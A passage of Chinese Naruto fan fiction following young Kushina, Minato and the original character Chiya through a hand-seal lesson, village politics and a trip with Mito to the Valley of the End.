躲在电线杆后面的玖辛奈看着踏月而来的卡密蹲下身,召唤出忍犬安慰自己的偷摸大鸡后像神龛里的泥偶守护神一样沉默地站在一旁。
玖辛奈想起了在水户大人身边微笑着安慰自己、直到驱散了盘桓在她心头的惶恐与不安才离开的千弥。从来没有在她面前落泪的千弥、在她面前一直很坚强的千弥因为那场战争失去了父母。
下次要给千弥一个大大的玖辛奈式拥抱。
当完了千弥的卡密様,旗木朔茂在街头遇到了眼里含泪、双手抱胸,像小大人一样不知道等了自己多久冷得发抖的玖辛奈。
“我不会戳穿你的!”
她要守护好偷摸大鸡纯真的心灵!
这是让古蹊千弥迄今为止还幼稚地相信卡密様存在的漩涡玖辛奈和旗木朔茂共同的责任!
“是吗......谢谢。”内心羞耻感爆棚的旗木朔茂干巴巴地回复。
“但你可不许在和千弥结婚前做什么更进一步的事!”玖辛奈双手叉腰,这是底线!
刚松了口气就因为玖辛奈的话一步滑倒狠狠撞墙的旗木朔茂:!
现在的孩子都这么成熟了吗?!
他真的!真的!真的只是想安慰一下千弥!
放任那孩子默默在房顶看月亮抹眼泪这种事他做不到!
……
“玖辛奈~”拎着食物满载而归的千弥对伫立在门口的玖辛奈打招呼,“要一起吃饭吗?”
“当然!”
深呼吸的玖辛奈看着比太阳还温暖的千弥,决心帮偷摸大鸡守好后院!
千弥的幸福由她来守护!
24.手影与结印的相似性
把夹满了红豆泥的今川烧对半掰开,玖辛奈看着手中剩下的半个还在流心的馅料陷入了甜滋滋的畅想,“等到了上学的年龄,大家就能时时刻刻在一起了。”
“不是时时刻刻,”吃着清淡的白粥,波风水门把配菜丢入粥底搅匀,认真地纠正玖辛奈,“放学之后大家还是要分开回家的。”
玖辛奈一囧,豆沙四下飞溅。
老抽色金毛犬这是在暗戳戳地朝她炫耀吗?绝对是炫耀吧!
“你们——”拿着玖辛奈给自己的半个今川烧,单手持筷同鱼刺较劲的千弥忽然抬起头,颜色黝深的眼睛盯着玖辛奈反重力飘扬的红发,“你们这是……吵架了吗?”
波风水门把千弥手里的今川烧取走放进空盘子,微笑着回答,“没有哦~”
“没有嘚吧内!”
看着波风水门的动作,玖辛奈眼里冒火——她刚刚只顾着和偷摸大鸡分享,可恶的金毛犬竟然已经悄咪咪地到了下一个境界!
“我只是想,未来一起在忍者学校学习就不会总是找不到千弥了。”
古蹊千弥时常出没的地点有三,一是慰灵碑,二是初代目火影千手柱间大人的颜岩头顶,三是木叶村村落周围的训练场。
一和二地点固定,只是去那些地方要根据时间和气候进行合理的排除与应变,否则极易走空。
与此同时,要想找到和迈特戴绕着村子进行体术特训的千弥就很费心力了。此外,木叶村的书店(包括但不限于集英堂)、烤鱼店、章鱼烧店、蟹丼都有可能刷新出一只出没的千弥。
“只要事先约定好,我就一定会出现的。”
咻地吸走出现在嘴边的果冻,嚼两口后品着菠萝甜味的千弥后知后觉,“这不是水门的病号餐特贡吗?!”
竟然就这么被她吃掉了!
“嘛~”波风水门把空掉的包装壳放在手边,言笑晏晏,“有什么关系嘛。”
投喂今川烧失败,还被金毛犬抢先投喂的红毛小狗怒了——她的偷摸大鸡平日里就是和这么可怕的家伙一起生活!她支持sakumo当未来千弥唯一的丈夫!
“玖辛奈酱~”听到金毛犬又带酱地称呼自己,玖辛奈再度炸毛,“头发飘起来了哦。”
“你们真的没有吵架吗?”真的好奇怪啊!
“没有。/没有嘚吧内!”
没有的话,为什么她有一种书上描述的、极为抽象的“胃疼”感?拍拍肚子又来回揉了揉的千弥确信她的肚子并没有病理疼痛。
“那,明天可以一起玩吗?”玖辛奈把话题拉扯回正道。
“明天要和绳树比赛攀岩。”这是一周前的约定。
“我可以去旁观比赛吗?”玖辛奈并不气馁。
“当然!”
“为什么你们也来了啊!”玖辛奈看着乌泱泱的一伙人炸毛。
她原本以为比赛结束就是她们偷摸大鸡组的二人时光!
“因为学校放假。”平日里存在感不强的油女志黑抱着网制的昆虫盒,带着点热情对玖辛奈介绍——“这是南洋大兜虫,又名阿特拉斯;这只是长戟大兜虫,也叫海格力斯。”
漩涡玖辛奈看着胸角又长又粗,背上带着斑纹的昆虫满头黑线的同时感到一阵恶寒。她知道的,毕竟千弥就是在涡之国找到了这些家伙。
“它们是我和千弥的初代虫们的第3代后代。”
玖辛奈觉得这句话哪里都怪怪的。
油女一族用查克拉虫进行战斗将虫子视为孩子饲养她勉强可以理解,但这句话落在耳朵里,她为什么会有一种千弥是虫它妈的既视感?!
“志微不在吗?”鹿久没看到背葫芦的身影,有些好奇。
“嗯,他在家里观察新虫破茧。”大半张脸缩在立领的风衣后面,油女志黑扭头看向暗搓搓地离自己足足有三米远的玖辛奈,“你难道不喜欢3代吗?”
漩涡玖辛奈看着在网箱里挥舞着大鳌的虫子,深深吸气。昆虫3代们,咬着烟斗的第三代,别说喜欢了,她都快要无法直面3代这个名号了!
“这种比赛,要是没人监管无论如何都不会放心啊。”亥一把手搭在额前,望着不相上下的两个身影。
“谁让他们明明是忍者,偏偏进行这种纯体术竞技呢。”丁座眯起眼睛,“真快啊。不过这个速度水门也可以跟上吧。”
“金、?!”紧急撤回一句金毛犬的玖辛奈看向和众人一道观赛的波风水门。
这家伙也有那样的速度吗?她一直以为这个人只是心机深沉。
这样的话,以千弥最好的偷摸大鸡自称的她岂不是样样比不过这只金毛?
回去之后,要加倍努力修行!
“嗯,不过还是比不过千弥。”抓着头发的波风水门坐在岩石上,摸摸长大了不少的黑丸。
“毕竟那家伙是当之无愧的天才。”只有背着千弥才不吝夸夸的奈良鹿久在心里默默补充,不仅有天分,努力还天然呆。
“天才?”玖辛奈想对偷摸大鸡了解得更多,顺着鹿久的话询问。
“千弥有全属性的查克拉。”奈良鹿久解释。
“简单的忍术可以很快就学会。”山中亥一跟上。
“不仅如此,还能在性质变化的基础上灵活地控制查克拉的输出达到不同效果。”秋道丁座又想起了千弥的烤鱼。
“刀术很强。”犬冢爪迅速跟团,一旁的黑丸大声又响亮地汪汪认同。
“很有体术天分,而且认识很多昆虫。”
“火遁很厉害,结印的速度也快到看不清!”美琴眼里闪过一丝憧憬。
玖辛奈看了一圈人,最后目光落到一言不发的波风水门身上——那家伙还在抬头仰望已经登顶的两个黑点。
“赢了!”笑着落地的千弥把手搭在玖辛奈肩上,“这样就是132胜8负。”
“可恶!差一点,怎么又差一点!”跪在地上的绳树灰头土脸,恨恨地流泪捶地。
再这样下去差距就越来越大了!
“千弥酱有什么结印的秘诀吗?”美琴拿出随身携带的湿纸巾给千弥擦净在攀岩过程中不慎划破渗血的手掌,“我也想能更快地结印。”
轻视千弥的宇智波富岳连火遁的虎印都没结成,就被千弥的小火苗吹卷了头发。
真的很帅气!
千弥大师开课了——
手掌相合,接着千弥的手指开始灵活地变化——大拇指微分,食指中指相扣,无名指相接向外,小手指朝外。
“这个是汪酱!
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”
黑丸摇着尾巴开心的汪了一声。爪则是坐在一旁啪啪地热情鼓掌。
“这是手影吧。”对影子了熟的奈良看着千弥疑似要误人子弟,忍不住开口提醒可能被千弥忽悠瘸的朋友们。
“鹿久你不要打扰我啦!”
奈良鹿久无奈地举手投降,做出拉拉链的动作。
“这个是戌印!”
结印动作很标准。
但相似性在哪里?
见连波风水门都认真地席地而坐,一副虚心受教的态度,奈良鹿久油然生出一种“众人皆醉我独醒”的寂寥。
“这个是兔子。”
“这个是卯印。”
“只要组合起来就是这样——兔兔猪猪鼠兔虎猴……”
眼看着千弥一边乱语一边急速做出相应的手影,奈良鹿久傻眼。
“经过简化——卯卯亥亥子卯寅申……”
“这样是不是就轻松多了!只要学会的话,速度自然就上来了。”
一大串黑线从奈良鹿久身后滑落——既然还要经过一次变换,为什么不直接学印,复杂的手影和印的相似性在哪里?他怎么看不见?!
“不愧是我的对手!”手指已经因为千弥的指令打结的绳树从地上爬起来,“下一次就是结印的对决了!”
比赛的话,不应该以己之长克敌之短吗?
奈良鹿久觉得笨蛋绳树能在笨蛋千弥手中取得几回胜利简直是奇迹,说是初代目显灵也不为过。
至于玖辛奈,她还在埋头和手指较劲。她的无名指完全不听话,根本弯曲不到她想到的弧度!
“是有点困难。” 勉强跟上几步手影动作的波风水门也不得不点头认输,“不愧是千弥。”
不不不,应该说不愧是辻大叔。这种乱来的教学方式绝对和那个人脱不了干系。
奈良鹿久死鱼眼望天。然后,天被深海无情吞噬。
“鹿久不一起玩吗?”
被突然凑近的千弥吓到噗通躺地的鹿久顶着众人期待的目光,“狗狗鸡兔鼠虎……”
一遍手影之后,是忍者发动忍术时使用的通用手印,“戌戌酉卯子寅……”
脑子转得再快,在手影的影响下他的结印速度还是比平时慢了3%。
但是——
“不愧是鹿久啊。“
“真是让人惊羡的头脑。”
“因为经历过更加艰苦的手影练习,所以对简易版的手印自然而然地手到擒来吗?”宇智波美琴若有所思地看着结印动作同样很快的鹿久,奈良家是使用能够操控影子的秘术的家族。
喂喂,那个宇智波,你不要胡思乱想啊!小心被千弥带进沟里都不知道!奈良鹿久在心里呐喊。
“只要多练习,手指就会变得很灵活!”
千弥把碎成片状的石子抛向空中,下落的石片在不同的指尖上灵活地翻转。随后,在众人的注视下,原本旋转、翻舞着的石片嘭地变成了路边随处可见的小花被千弥夹在指腹。
听取“哇”声一片,被一脸得意的笨蛋千弥随手用散发着清新的香草气味的小花奖励的优秀学生奈良鹿久心脏噗通噗通地乱跳。
太轻佻了,千弥随手赠花这种坏习惯他绝对要纠正过来!
25.与水户旅行前
凭借出众的智力,一向无往不利的奈良鹿久在千弥的教育事业上意外遭遇了滑铁卢。
没等联合同伴找到合适时机对千弥灌输自己的思想理念,固若金汤、关系铁到能穿一条裤子的猪鹿蝶小队内部率先极为罕见地出现了巨大分歧。
忍校天台——
“真狡猾啊,鹿久。”
同亥一和丁座讲明自己针对千弥制定的“教育计划”,希望两人能配合自己的奈良鹿久闻言怔愣。他预想过千弥会如何耍赖皮、已听不改的种种,唯独没想到己方阵营的亥一会带头反对自己。
不过......狡猾?这从何说起?
“是啊,独占欲未免太强了。”
连憨厚随和的丁座也站在了对立面。
“为什么这么说?”
计划被彻底打散,奈良鹿久耐心地梳理自己的出发点、目的,试图寻找到丁座所说的“独占欲”。
然而,连照顾笨蛋的种种都简单回顾一遍后,他发现自己无私极了,简直比辻大叔还像千弥亲爸。
亥一双手抱胸,斜着眼睛看鹿久,“这么多年来,千弥只给你递过花吧。”
反正作为最早认识了千弥的那一批朋友,他迄今也没收到过来自千弥的花,别说干花了,连纸花都没有。
“如果千弥真的听了鹿久的话,以后再也不给别人送花。这样一来,鹿久就变成‘唯一得到过千弥赠花的人’了。”丁座盯着天台石缝里长出来的绿生生的野草,憨憨地说出自己的观点,“能从朋友手里收到花朵是一件幸福的事吧。”
“花语森罗万象,鹿久你不会因为前些天千弥随手给你的几朵花就胡思乱想吧?”山中亥一的眼神锐利如刀,试图看透友人行为背后的玄机。
“我只是觉得这种行为有些轻浮。女孩子的话……”
放下手里的便当盒,连连摆手替自己辩解的冲天辫被锋芒毕露的亥一强行接茬,“女孩子的话给自己喜欢的人送花……等等,你脸红什么?”
山中亥一忽然顿住。
“……太阳晒的。”
山中亥一虚着眼睛将信将疑地看向鹿久,又抬头看了看火辣辣的日头,最后还是选择继续自己没说完的话,“女孩子给喜欢的人送花、给敬爱的老师送花、给亲朋好友送花都是很正常的。表达情感而已,哪里轻浮了?”
作为家里开花店的人,山中亥一无法接受鹿久这种落了时代的老派思想。
花有什么错?送花的人有什么错?真挚的感情还要分什么男男女女吗?他们山中一族的家纹就是紫色的胡枝子花。
单气势上就矮了亥一不止一头的鹿久用筷子戳着蛋卷不语。
用亥一的观念思考,似乎真是他反应过度......了?
难道认识千弥太久又照顾那家伙太久,他产生了传说中的护崽心理?
“聪明的人就是容易想太多。”丁座安慰地拍拍鹿久,“只是没想到鹿久你也会有这种苦恼。”
“我只是担心那家伙乱送花会惹上麻烦。”想到砰砰跳的错乱心率,鹿久替自己争辩。
“鹿久就是想的太多了。”从口袋里掏出一块糖怡塞进鹿久嘴里,秋道丁座宽慰道,“就算千弥遇到了麻烦,我们也会帮忙的吧,这完全是不必要的担忧。”
“千弥又不是笨蛋,怎么可能给别人乱送花?”亥一还在为千弥辩解,“上次下将棋你不只是险胜吗?”
“智商和情商又不一样。”
嘟嘟囔囔的鹿久把便当盒放在地上,身体前倾,用手撑着下巴,无精打采地打了个哈欠。
凭着这幅不思悔改的态度,奈良鹿久被友人不留情面地扯住耳朵,被迫了接受一轮“加强教育”的洗礼。
好啦,好啦,他已经放弃这个想法了,亥一坊主别再念了。
被亥一狠狠摧残一番的鹿久生无可恋地吞咽糖怡化作的糖水,从中寻找能化作心理慰藉的甘甜。
“今年,水户大人还会出村旅行吗?”
二代目去世后,水户连离开住处时间都变少了。除了偶尔出面主持族人们的生活,水户几乎不再出现在人前。与之相反的,是暗处增多的护卫。
检查完千弥的功课,水户看了眼还在结印施展封印术的玖辛奈、水门以及比三人年长一些的漩涡香奈,“今年、往后,我会陪伴你们,教导你们。”
“第三代火影限制你出村吗?”千弥执拗地望着水户的眼睛。
“三代火影并没有限制我的行动,只是我目前已经没有想去的地方了。”
水户叹气,但很快在孩子面前,坚强的女人又露出淡淡的微笑,“能够知道漩涡一族的族人们在其他地方安然地生活就很好了。”
“水户太容易满足了。”
连“大人”的敬称都任性地省掉后,千弥恹恹地趴在桌上,没注意到玖辛奈放下卷轴正在自己身后咬牙切齿、张牙舞爪——好好加尊称啊!礼貌问题先放一边不提,叫得这么亲切不知情的人还以为是同辈呢!
得知自己叫的“水户奶奶”是千弥没有血缘关系的“姑姑”辈的亲人,莫名比偷摸大鸡矮辈分不说,连着比金毛犬也矮了一辈的玖辛奈对此耿耿于怀。
更让玖辛奈绝望的是,同族的香奈不在意,就连绳树也不在意!她只能和纲手姐姐抱团,一起对抗没大没小、偶尔恶趣味爆发,懒洋洋地喊她们“小侄女”的坏千弥。
“如果我想和水户一起出去玩,水户愿意陪我吗?”
怀疑千弥想拉水户大人上贼船的波风水门也跟着不动声色地放下卷轴,悄悄竖起耳朵。
四个人,一个聊天,两个偷听,只有香奈认真地研读卷轴。
“去终结之谷可以吗,那里的瀑布很壮观。”
“当然。”
那是千手柱间与宇智波斑决战的地方,惊天动地的战斗先后带走了两个人的生命,也改变了她的命运,从更广阔的视角看,这场战斗说是改变了忍界的走向也
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不为过。
古蹊千弥想去那里看看传说中忍者之神的石像,顺便带水户散心。等她长大了,她还想带水户去更远的地方。请再等等她吧,她会像爸爸和妈妈一样给水户带来自由,哪怕只是一时的自由。
得知水户要带着孩子出行的团藏坐不住了。他闯到火影楼,看着正在点兵,安排纲手明面陪同,旗木朔茂以及宇智波镜暗中随行的猿飞日斩,倾下身体,啪地拍在桌面上——
“九尾人柱力不能擅自离村!”
“二代大人时期,水户大人就可以在涡之国和木叶隐村之间行动。何况现在是和平年间。”猿飞日斩不动如山。
“那是因为有旋涡辻那家伙从中——”作梗!志村团藏咬紧牙关,当着这些与辻有交情的众人的面,勉强保留了一丝风度,“捣乱。”
“辻也姓古蹊,是木叶的忍者。”猿飞日斩纠正团藏的称呼。
“可他擅自行动,最后为了漩涡去死!”他绝对不会认可那个家伙,什么入赘?到最后还不是漩涡的人!
“自木叶建村以来,漩涡一族就是木叶的盟友。”猿飞日斩起身,直视这位性情变得偏激的挚友,“作为火影,没能及时为漩涡一族提供支援,我深感愧疚。古蹊辻是木叶的英雄。”
“你变了,日斩。”
志村团藏失望地看着姿态冷硬的猿飞日斩。他变得听不进他的劝告,像顽石一样固执己见,紧攥权柄。
这个做了三代目火影的男人心肠不再如往常一般柔软,不退一步的魄力连他都暗暗心惊。他曾提出替日斩接管木叶的“黑暗”,监督忍族,做木叶的根,但那个半张脸隐匿于斗笠阴影下的人沉默许久后,拒绝了,他说——
“因为我是火影。”沙哑但坚定的声音回荡在屋内。
想象与现实交错,一时间竟有些恍惚的志村团藏看向日斩的两名参谋。令他失望的是,曾经的同期们也不顾村子的利益,不为大局考虑站在了日斩那边。
日斩为了私情任由水户出村,炎和小春为了私情纵容日斩的决定。
毫无疑问,他们都不是二代目火影大人的意志继承者。
猿飞日斩至死也不会忘记古蹊辻同自己最后的一场谈话,更准确来说,那更像是最后一次“指导”。
“政出于一则治。这个村子太小,等木叶至少有了半个火之国那么大,再忧虑自己会成为独裁者吧。对了!涡之国那边,将来不管听到什么消息都不用惊讶,到时候麻烦您帮忙收拾残局,顺便帮我照顾一下千弥~”
作为火影,集光与暗于一身,带领木叶隐村前进是他不可推卸的责任。
“猿飞老师,”看着卷着风来、带着火去的志村团藏,纲手朝三代竖起大拇指,“刚刚很帅气哦!”
“是吗?”猿飞日斩欣然接受了弟子的称赞,随即郑重地看向三人,“自来也正在妙木山进行修行,水户大人一行人的安危就拜托你们了。”
“是!”三人整齐应声。
26.与水户旅行1
和落在自来也身上的全力一击相比,千弥头顶的力道可谓是春风拂面。
“给我加尊称啊,没大没小的臭丫头。”
水户、水户的,这种又皮又黏的语气,她还以为自己看到了一个迷你版的古蹊辻。
“这也是亲近的称呼。”
把黏在自己奶奶身上的拉丝年糕扯下来,单手叉腰的纲手轻一下重一下地戳着千弥的脑门儿。背着小挎包走近的玖辛奈见状,连连欢呼着为纲手助威——能制裁千弥的人出现了!
“小侄女。”千弥含泪控诉同样“没大没小”的纲手,鼓着脸颊把自己埋进水门怀里后,又抬起毛茸茸的脑瓜看向玖辛奈那边,“小侄女2号。”
古蹊千弥拥有轻易挑拨人们心弦的力量,这类人俗称“熊孩子”。
心里窝着一团火,她还偏偏不好对笑脸相迎、把千弥周密地护在怀里的水门发泄。发现护卫任务因为护卫对象里有了千弥而没那么轻松的纲手额角蹦出数个十字。
和奶奶出游很好,若是能暗中随行会更好。
“好啦。”水户摸摸纲手的头聊表安慰,又拍拍水门和千弥,牵过玖辛奈,笑道,“我们出发吧。”
“玖辛奈、千弥、水门,你们能感知到我们身边有多少护卫吗?”漩涡水户笑吟吟地看着三个孩子。
背着蓝色双肩包的水门,肩挂着灰黑色防水单肩包的玖辛奈,以及像忍者一样,大腿上绑了两只忍具包的千弥,他们都是木叶未来的新星。
真是奇妙,这三个孩子拥有着三种截然不同的感知能力。
千弥身上拥有被辻命名为“霸气”的特殊能力,玖辛奈以漩涡为姓,拥有着漩涡一族的感知力量,而水门,他是一位天生的忍者。
“2?”
凝神许久,除了纲手姐姐身上蕴含着的庞大查克拉,玖辛奈终于感知到了另一道隐匿起来的若隐若现的查克拉。
这道柔和又不失锋芒的查克拉……是那位sakumo。
玖辛奈忍不住往千弥和水门身上扫了一眼。
我的偷摸大鸡呦,如果真的有什么情况,你的偷摸大鸡我会不计前嫌地帮你嘚吧内。
如果五大隐村组织一场好朋友评比,她绝对是当之无愧的第一名。
查克拉像涟漪般在大地上慢慢扩散铺展开来,勉强感知到一处异常的波风水门谨慎地将其算入其中。擦擦汗,金发的少年又看向了不知何时像一节修长的绿竹,骄傲而又昂扬、挺拔,站在迎风处冲自己眨眼的千弥,笑着将人也算了进去,“3。”
纲手暗暗心惊——这孩子难道连镜都感知到了吗?
“是5!”
大声在众人面前宣布自己的答案,双手插兜,笑得比阳光还灿烂的千弥期待地看向水户。
玖辛奈恍惚间似是看到了象征千弥查克拉的温暖地燃烧的干柴滋滋地往外迸出了一串耀眼明亮的火星。
且不说漩涡水户的答案,单是纲手就已经被千弥的发言震惊到满头黑线了。
“笨蛋。”纲手头痛地一言定音。
哪有那么多人啊!
“玖辛奈?”水户看向发色殊丽小漩涡。
“六点钟方向有查克拉。”玖辛奈挺直腰杆大声地回答。
随后,玖辛奈警惕地竖起耳朵,等待感知更胜自己一筹的金毛犬的回答。
“纲手大人,朦朦胧胧间感知到的玖辛奈说的那位忍者大人以及……”波风水门顶着千弥皮卡皮卡的眼神,缓缓公布第三人,“还有千弥。”
纲手嘴角抽搐,这孩子终究还是感染了笨蛋细菌吗?
玖辛奈因为波风水门的发言猛地转头看向千弥,她的偷摸大鸡因为邪恶金毛的话兴奋到白里透红、骄傲地摇尾巴!
她不可置信地看向金毛犬——这家伙花言巧语的能力也远胜过她!还有什么是这家伙不会的吗?!
太可怕了,真是太可怕了!
她笨笨的偷摸大鸡未来怎么娶两个?
“那,千弥呢?”把被风从顺毛小狗吹成卷毛的潦草小狗从石头上唤回来,水户耐心地帮忙打理起发丝。
“六点、三点、小侄女、我,还有——”千弥沉吟片刻,紧张得玖辛奈攥紧了胸前挎包的带子。
是她吧!是她吧!
“九——”千弥顿了一下,笑着眯起眼睛,“九条尾巴的大狐狸。”
九尾?手持竹筒的纲手不着痕迹地看了一眼奶奶的腹部。
她没赢,但也没输!红毛小狗迅速振作。
没被千弥当做战力的波风水门眸光有刹那的黯淡,但很快又振作精神。他还会变得更强。
漩涡水户
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的精神世界中,九喇嘛看着外界的千弥紧张得尾巴直打卷。
它毫不怀疑,水户若是知道自己能绕过她的感知蛊惑“泣き虫”会毫不犹豫地带它一起轮回。
“九尾?”手捂腹部的漩涡水户若有所思地看着被封锁在牢笼之中阖眼垂头的狐狸,“说起来,你最近这些年一直很乖呢。”
她以为扉间去世,九尾会趁着她悲伤的空档作乱,但它没有;她以为涡之国遇袭,九尾会趁她疲于整合族人时,竭力脱逃,但它也没有。
“……”九喇嘛把狐狸脑袋埋进爪子,耳朵往下垂,大大的耳朵直接覆在了面颊。
“就连千弥也经常在我面前提起你。”一袭白色和服的水户靠近了牢笼。
水户不是天然呆,相反,她的性格更像千手扉间,是有智慧、有胆魄,兼具了刚强与柔和的女子。有些零碎的线索,只差一个契机就能将其串联整合。
九喇嘛不耐烦地用尾巴拍了拍笼子赶人。
狐狸不擅长撒谎,何况自身感知能力极强的漩涡水户抢完它的查克拉之后又身怀感知恶意这种buff。
“古蹊千弥是好孩子,你不要欺骗她。”
漩涡水户走了。
九喇嘛眼神复杂地看着抱着一盏孤灯踏水离开的背影。
九尾身上的恶意消退了很多。就连这次见面,都没有对她挑衅地说出什么“一炮轰飞木叶、一口800个村民”之类的恶语。
漩涡水户看着大大咧咧的千弥,眼神复杂。是和九尾做朋友了,还是被九尾利用了呢?
能同千弥直接对话的九尾拥有着超出她认知的能力,如果是前者,千弥有朝一日将到达前人之未有的高度。
“千弥。”水户用发绳给千弥歪歪散散的小辫子打了个漂亮的结。
“嗯?”还不知道自己暴露的千弥抬起脑瓜。
“不要太轻易地相信人。”
直接放下伪装,破罐子破摔的大狐狸在水户的精神世界大声嚷嚷,“老夫是狐狸!”
不要用人类那种可恶卑劣的生物侮辱尾兽!
没见过水火不容了几十年的狐狸还有这样一面,水户嘴角抽搐,认真地对千弥说道,“也不要轻易相信能说人话的生物。”
“我知道了。”千弥懵懂,但认真地将水户的话记在心里。
27.与水户旅行2
沿着小溪一路徐行,穿过火之国森林的一行人向着边境前进。
狭窄的河道逐渐拓宽,连溪流也变得湍急,一朵朵纯白的浪花将山石大大小小的棱角尽数磨去。
等一伙人终于看到了那两尊标志性的石像时,太阳已经隐于山间,只有高低差产生的激流拍水声如滚滚惊雷在山谷间徘徊不散。
“终于到了。”脱离了队伍,站在河岸的千弥擦去溅落在脸颊上的水花,吸饱了潮湿的空气后心满意足地长叹一声,很快,女孩又苦着脸蹙眉撇嘴,“好吵。”
在相对水流和缓的地方布置好了今晚的落脚点,喊人回去的纲手拳头又又又硬了。
“不是你央着奶奶出来的吗?”捏着千弥的脸颊,纲手恶狠狠地磨牙,手却控制着力度轻轻向两边拉扯,“不许抱怨。”
“呐,纲手。”千弥抬起头看向永远沉默地保持对立姿态的两尊石像。
天色已经有些晚了,但天空中如银的月和大地上呼啸的水很好地中和了山谷暗沉的夜色。瀑布两侧伫立着的石像有大半被柔和的月色与粼粼的水光幌照得明亮,尤其是石人肩上的“甲胄”,冷岑岑地夹带一层寒意。
“喊我姐姐!”
有了乖巧懂事又天真可爱偶尔顽皮的完美弟弟绳树珠玉在前,小时候的纲手也幻想过爸妈再给她造一个妹妹,但条件不允许,小纲手的愿望终究落了空。
如今,她有了名义上的“小姑姑”(可恶,一点也不想承认),实际上的小妹妹。面对被自己捏住还不老实地在口腔里用舌头隔着脸颊用力抵住自己指尖的千弥,纲手只觉得自己摊上了一个有着俊俏妹妹的外壳,实则内里相当皮实的便宜“弟弟”,比皮球还皮。
上比香奈小,下比玖辛奈长的古蹊千弥还没有香奈和玖辛奈一半令人省心。
“小侄女。”千弥吸气,颊肌、颧大肌齐齐用力,把脸蛋撑得圆鼓鼓的。
“说吧,有什么问题?”松开手,拍落千弥发丝上挂着的细细的水珠,纲手认命地认领了称呼。
“负责火影颜岩开凿的工匠是向上层行贿了吗?”千弥头顶浮现出一个问号。
这里的这位千手柱间和木叶颜岩上挂着的那位相比不能说是一摸一样,根本毫不相干。
纲手:“……”
纲手思索,纲手放空,纲手震惊。
发现千弥问得真情实意,眼里的困惑仿佛能凝聚成实体,纲手忍了忍还是没忍住又凶巴巴地捏了回去。
“你这小家伙乱说什么呢!”
“唔唔——哇!”直接被小侄女拎起来禁锢在坚实的臂弯里掳走的千弥像垂死的小青蛙呱呱地蹬腿。
路上把满脑子奇思妙想的小屁孩上下摇匀乎,回到营地的纲手把眼冒金星的千弥丢给水门后,总算是出了气的金发少女轻快地同水户奶奶问好,“我们回来了。”
“欢迎回来~”漩涡水户笑呵呵地回应。
“咕噜——呕。”晕头转向,被狠狠摧残一番的青嫩小草蔫得叶子直打卷。
“谋杀、是谋杀……”抱着碗,两眼昏花、不辨东西的千弥气若游丝。
纲手笑眯眯地把根须绵软的小草从地上薅起来,手指勾着小笨狗的下巴,尽显成熟大姐姐的风韵,“是护卫哦,贴身护卫。”
夜幕降临,望着漫天繁星的千弥枕着手臂,心情怅然。
到底怎么样才能像爸爸和妈妈一样,让水户大人也能不受羁绊、不带枷锁,痛痛快快地露出笑容呢?她好像完全做不到。
什么把漩涡变成螺旋,悲伤的时候只要看初代目的颜岩就好,她一点也不信。如果冷冰冰的石像真的有治愈人心的魔力,为什么拥有着漩涡一族超强的生命力、比芦名爷爷年轻那么多、那么多、那么多的水户大人已经露出让人心惊的老态了呢?
想要保护的人一个个地像砂砾一样从指尖流逝抓也抓不住,只余一丝磨磨的颗粒感残余在心中。
“在哭呢。”
深夜,听到小动物呜呜声的波风水门轻轻地起身,从卷轴里取出携带的毛巾一点点地沾去千弥眼睫上的泪珠,接着又轻轻地将毛巾的一角搭在鼻子两侧擦去泪痕,手指穿插在千弥毛茸茸的发间,温柔地安抚。
漩涡水户看到九尾嫌弃地咕嘟一句“泣き虫”后,暗搓搓地变了个姿势,从卧到趴,支棱起耳朵,喷出让水面翻涌的吐息同时,尾巴也焦躁地甩来甩去。
被人们赋以“妖狐”之名的九尾身上竟然也出现了关怀这样体贴、柔和的情绪。
“千弥在不安。”水户听到波风水门这个年纪轻轻但已经展现出成熟风范的小少年这样说道,“说来惭愧,我也让千弥产生过类似不安的感受。”
小小的篝火丛噼噼啪啪地燃烧,玖辛奈在温暖的火光下呼噜噜地睡得格外香甜。
波风水门将手搭在千弥的脑后,抬头仰望群星璀璨的藏色天穹。这片最深、最浓的夜色无比接近千弥的瞳色。
“辻先生和海未夫人离开后,我曾试图将千弥‘据为己有’。”
波风水门语气平静地抛出一枚炸弹,炸得在水户奶奶身边承担护卫工作并且和朔茂、镜、三代等人一样背负着二代所寄予的守护木叶的未来、保护古蹊千弥的期望的纲手头晕眼花。
两只广口瓶还没成功诱骗到直愣愣的小章鱼就发生了隐秘的碰撞,玖辛奈对波风水门的警惕并非空穴来风。
喂喂喂!什么叫“占为己有”?
你小子原来是阳光系黑泥吗?!
“一点点地将千弥负责的家务包揽、侵占千弥的生活,我卑劣地希望千弥变得离不开我。”波风水门看着漩涡水户的眼睛,平和又坦荡地说,“但是千弥的表现完全出乎我的意料。在我的照顾下,千弥完全没有产生过‘坐享其成’、‘把所有麻烦都抛掉’这样孩子气、懈怠的念头。”
阴恻恻的大蛇丸都没这孩子黑!前者明着阴,让相性不和的人接触一次,往后就能自觉地绕到避开,可眼前这个小金毛,他是暗着阴啊!
纲手在心里骂骂咧咧地责备乱往家里捡小孩的辻——你儿子想把你宝贝女儿养废了,你知道吗?!你知道吗?!
不过,刚在内心肆意发泄一通的纲手又忽然想起了辻记忆里看到的那位能神色自若地向卡卡西争取养父名额的金发青年。
有些事情似乎已经早早地展露了苗头。
朔茂,你小子的对手很强大啊!
纲手觉得旗木朔茂能在这样的水门眼皮子下成功“偷跑”,简直是个奇迹。或者也多亏了有自来也的仙术修行助攻?
等等,没准就连朔茂那个浓眉大眼的老实人也是个闷声干大事的?!
猫猫纲手陷入了剧烈的头脑风暴!好乱!太乱了!
“千弥这家伙傻乎乎地只想重新参与进我的生活。”波风水门想到自己中毒住院的经历没忍住笑了一下,“努力地展示自己可靠、成熟的一面,并且竭尽全力付之行动、守护在意的人,虽然……方式有点笨拙。”
“那个力量的名字是‘见闻色霸气’吧,真是很‘霸道’的力量呢。”波风水门用手指卷了卷千弥的小辫子,“千弥一直在仔细地观察世界。可是明明在其他方面都很聪明的千弥偏偏在情感上的感知很迟钝,说是愚钝也不为过——”
波风水门目光直直地盯着漩涡水户,“正如我从前的行为一样,水户大人身上的某些变化也让千弥感到不安了,所以千弥想带你出来,离开村子,去外面的世界,小心地、不着痕迹地去尝试着消除那些会让她心生恐惧的变化。”
“千弥很温柔,所以不会直白地寻问,只会笨笨地思考、静静地观察。”波风水门看着水户枯燥的红色发丝露出一抹悲伤,“然后暗中用自己的方式提供关怀。像辻先生一样,总喜欢游离在人群之外笑着看人们大声欢笑的模样,守护大家的笑容。”
“我知道千弥会伤心并不是水户大人的错,但是不能解开千弥的心结的话,千弥会像失去方向感的鼹鼠一样乱撞。”
